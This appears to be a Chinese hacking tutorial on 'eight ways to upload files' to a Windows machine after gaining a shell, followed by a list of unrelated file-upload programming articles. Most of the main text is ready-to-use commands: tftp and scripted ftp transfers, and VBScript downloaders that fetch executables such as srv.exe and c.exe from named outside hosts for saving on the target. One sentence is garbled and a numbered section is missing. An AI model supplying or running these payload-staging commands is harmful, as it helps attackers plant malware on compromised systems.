文件上传八大法-远程控制必看

本文是居于已经得到了一个有一定权限的SHELL.命令行下传送文件的其他方法.

一,TFTP

格式:tftp -i get file.exe path/file.exe           默认存放在system32下,如果指定就存在指定的地方。

二:ftp下载文件

  ftp下载文件一般步骤如下:

  echo open xxx.xxx.xxx.xxx 〉ftp.txt

  echo user 〉〉ftp.txt

  echo password 〉〉ftp.txt

  echo binary 〉〉ftp.txt [可选]

  echo get srv.exe 〉〉ftp.txt

  echo bye 〉〉ftp.txt

  ftp -s:ftp.txt(这一步是关键哟)

  del ftp.txt

  这样srv.exe文件拖略谙吕戳恕1Vrv.exe已经存在指定位置。

四:写程序下载

  脚本是非常好的东西,只要把源码保存到一个文件中就能运行。所以在shell下,用echo语句直接写到一个文件中,在用相应的解释程序执行就可以啦。这里是一个程序实例的简化:

  echo Set xPost = CreateObject("Microsoft.XMLHTTP") 〉webdown.vbs

  echo xPost.Open "GET","http://txhak.126.com/srv.exe",0 〉〉webdown.vbs

  echo xPost.Send() 〉〉webdown.vbs

  echo Set sGet = CreateObject("ADODB.Stream") 〉〉webdown.vbs

  echo sGet.Mode = 3 〉〉webdown.vbs

  echo sGet.Type = 1 〉〉webdown.vbs

  echo sGet.Open() 〉〉webdown.vbs

  echo sGet.Write(xPost.responseBody) 〉〉webdown.vbs

  echo sGet.SaveToFile "srv.exe",2 〉〉webdown.vbs

  然后执行cscript webdown.vbs就可以啦。其中,http://txhak.126.com/srv.exe改成你放文件的网站路径,srv.exe可以改成保存文件的路径。 这里ADODB.Stream很重要如果目标机隔离了adodb.stream就会不成功。

五:START ITS:HTTP://IP/文件名

  然后cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\"

  然后DIR 文件名[1]

  注意:那串长文件名要用""引起来,因为有空格

  例子:C:\Documents and Settings\Administrator〉start its:http://xxx.xxx.xxx.xxx/srv.

  C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\0AB3MNO1 的目录

  2003-11-22 17:48 12,832 srv[1].exe

  1 个文件 12,832 字节

  列出所有文件:

  1 个文件 12,832 字节

  0 个目录 6,425,985,024 可用字节

  C:\Documents and Settings\Administrator〉copy C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\0AB3MNO1\srv[1].exe c:\srv.exe

  已复制 1 个文件

六。一句话下载。第4种方法的精简,有时很有用的

echo Set xPost = CreateObject(^"Microsoft.XMLHTTP^"):xPost.Open ^"GET^",^"http://soft.163vv.com/77169/c.exe^",0:xPost.Send():Set sGet = CreateObject(^"ADODB.Stream^"):sGet.Mode = 3:sGet.Type = 1:sGet.Open():sGet.Write(xPost.responseBody):sGet.SaveToFile ^"c:\c.exe^",2 〉pig.vbs

七。写程序下载

echo iLocal = LCase(WScript.Arguments(1)) 〉c:\down.vbs

echo iRemote = LCase(WScript.Arguments(0)) 〉〉c:\down.vbs

echo Set xPost = CreateObject("Microsoft.XMLHTTP") 〉〉c:\down.vbs

echo xPost.Open "GET",iRemote,0 〉〉c:\down.vbs

echo xPost.Send() 〉〉c:\down.vbs

echo Set sGet = CreateObject("ADODB.Stream") 〉〉c:\down.vbs

echo sGet.Mode = 3 〉〉c:\down.vbs

echo sGet.Type = 1 〉〉c:\down.vbs

echo sGet.Open() 〉〉c:\down.vbs

echo sGet.Write(xPost.responseBody) 〉〉c:\down.vbs

echo sGet.SaveToFile iLocal,2 〉〉c:\down.vbs

八.exe2bat命令行下输入,debug还原成文件

用exe2bat这个工具把exe文件转化成bat,然后一行行敲进去,这样工作量非常大,只适合于非常短小的文件。

(0)

相关推荐

  • 文件上传八大法-远程控制必看

    本文是居于已经得到了一个有一定权限的SHELL.命令行下传送文件的其他方法. 一,TFTP 格式:tftp -i get file.exe path/file.exe           默认存放在system32下,如果指定就存在指定的地方. 二:ftp下载文件 ftp下载文件一般步骤如下: echo open xxx.xxx.xxx.xxx 〉ftp.txt echo user 〉〉ftp.txt echo password 〉〉ftp.txt echo binary 〉〉ftp.txt [

  • JSP实用教程之简易文件上传组件的实现方法(附源码)

    前言 本文主要给大家介绍的是关于JSP简易文件上传组件的实现方法,分享出来供大家参考学习,下面话不多说,来一起看看详细的介绍吧. 文件上传,包括但不限于图片上传,是 Web 开发中司空见惯的场景,相信各位或多或少都曾写过这方面相关的代码.Java 界若说文件上传,则言必称 Apache Commons FileUpload,论必及  SmartUpload.更甚者,Servlet 3.0 将文件上传列入 JSR 标准,使得通过几个注解就可以在 Servlet 中配置上传,无须依赖任何组件.使用第

  • java文件上传Demo(必看篇)

    说到文件上传我们要做到: 1.引入两个包:commons-fileupload-1.2.1.jar和commons-io-1.3.2.jar 2.将form改为上传文件模式:enctype="multipart/form-data" 3.开始编写相关代码 这里会用到几个关键的类:磁盘文件工厂DiskFileItemFactory : 创建servlet文件上传类:ServletFileUpload 还有几个重要的方法:DiskFileItemFactory类用于将以临时文件形式保存在磁

  • 基于fileUpload文件上传带进度条效果的实例(必看)

    文件上传过程中,如果我们能看到进度条会更好,实现思路是服务器端用监听器实时监听进度并存入session,客户端异步请求服务器端获得上传进度,并进行效果渲染. 效果图: 服务器端servlet: public class UploadServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException

  • Flask Web开发入门之文件上传(八)

    本章我们介绍Flask Web开发中涉及的文件上传模块 定义后台接收处理逻辑 # http://flask.pocoo.org/docs/0.12/patterns/fileuploads/ @app.route('/upload', methods=['POST']) def upload_file(): if request.method == 'POST': # check if the post request has the file part if 'file' not in req

  • asp.net下大文件上传知识整理

    最近做在做ePartner项目,涉及到文件上传的问题. 以前也做过文件上传,但都是些小文件,不超过2M. 这次要求上传100M以上的东西. 没办法找来资料研究了一下.基于WEB的文件上传可以使用FTP和HTTP两种协议,用FTP的话虽然传输稳定,但安全性是个严重的问题,而且FTP服务器读用户库获取权限,这样对于用户使用来说还是不太方便. 剩下只有HTTP.在HTTP中有3种方式,PUT.WEBDAV.RFC1867,前2种方法不适合大文件上传,目前我们使用的web上传都是基于RFC1867标准的

  • Spring学习笔记2之表单数据验证、文件上传实例代码

    在上篇文章给大家介绍了Spring学习笔记1之IOC详解尽量使用注解以及java代码,接下来本文重点给大家介绍Spring学习笔记2之表单数据验证.文件上传实例代码,具体内容,请参考本文吧! 一.表单数据验证 用户注册时,需要填写账号.密码.邮箱以及手机号,均为必填项,并且需要符合一定的格式.比如账号需要32位以内,邮箱必须符合邮箱格式,手机号必须为11位号码等.可以采用在注册时验证信息,或者专门写一个工具类用来验证:来看下在SpringMVC中如何通过简单的注释实现表单数据验证. 在javax

  • jQuery文件上传控件 Uploadify 详解

    基于jquery的文件上传控件,支持ajax无刷新上传,多个文件同时上传,上传进行进度显示,删除已上传文件. 要求使用jquery1.4或以上版本,flash player 9.0.24以上. 有两个版本,一个用flash,一个是html5.html5的需要付费~所以这里只说flash版本的用法. 官网:http://www.uploadify.com/ 控件截图: 用法: 首先引用下面的文件 <link rel="stylesheet" type="text/css&

  • Java实现FTP批量大文件上传下载篇2

    接着上一篇进行学习java文件上传下载1. 五.断点续传 对于熟用QQ的程序员,QQ的断点续传功能应该是印象很深刻的.因为它很实用也很方面.因此,在我们的上传下载过程中,很实现了断点续传的功能. 其实断点续传的原理很简单,就在上传的过程中,先去服务上进行查找,是否存在此文件,如果存在些文件,则比较服务器上文件的大小与本地文件的大小,如果服务器上的文件比本地的要小,则认为此文件上传过程中应该可以进行断点续传. 在实现的过程中,RandomAccessFile类变得很有用.此类的实例支持对随机存取文

  • springboot大文件上传、分片上传、断点续传、秒传的实现

    对于大文件的处理,无论是用户端还是服务端,如果一次性进行读取发送.接收都是不可取,很容易导致内存问题.所以对于大文件上传,采用切块分段上传,从上传的效率来看,利用多线程并发上传能够达到最大效率. 本文是基于 springboot + vue 实现的文件上传,本文主要介绍服务端实现文件上传的步骤及代码实现,vue的实现步骤及实现请移步本人的另一篇文章 vue 大文件分片上传 - 断点续传.并发上传 上传分步: 本人分析上传总共分为: 检查文件是否已上传,如已上传可实现秒传 创建临时文件(._tmp

随机推荐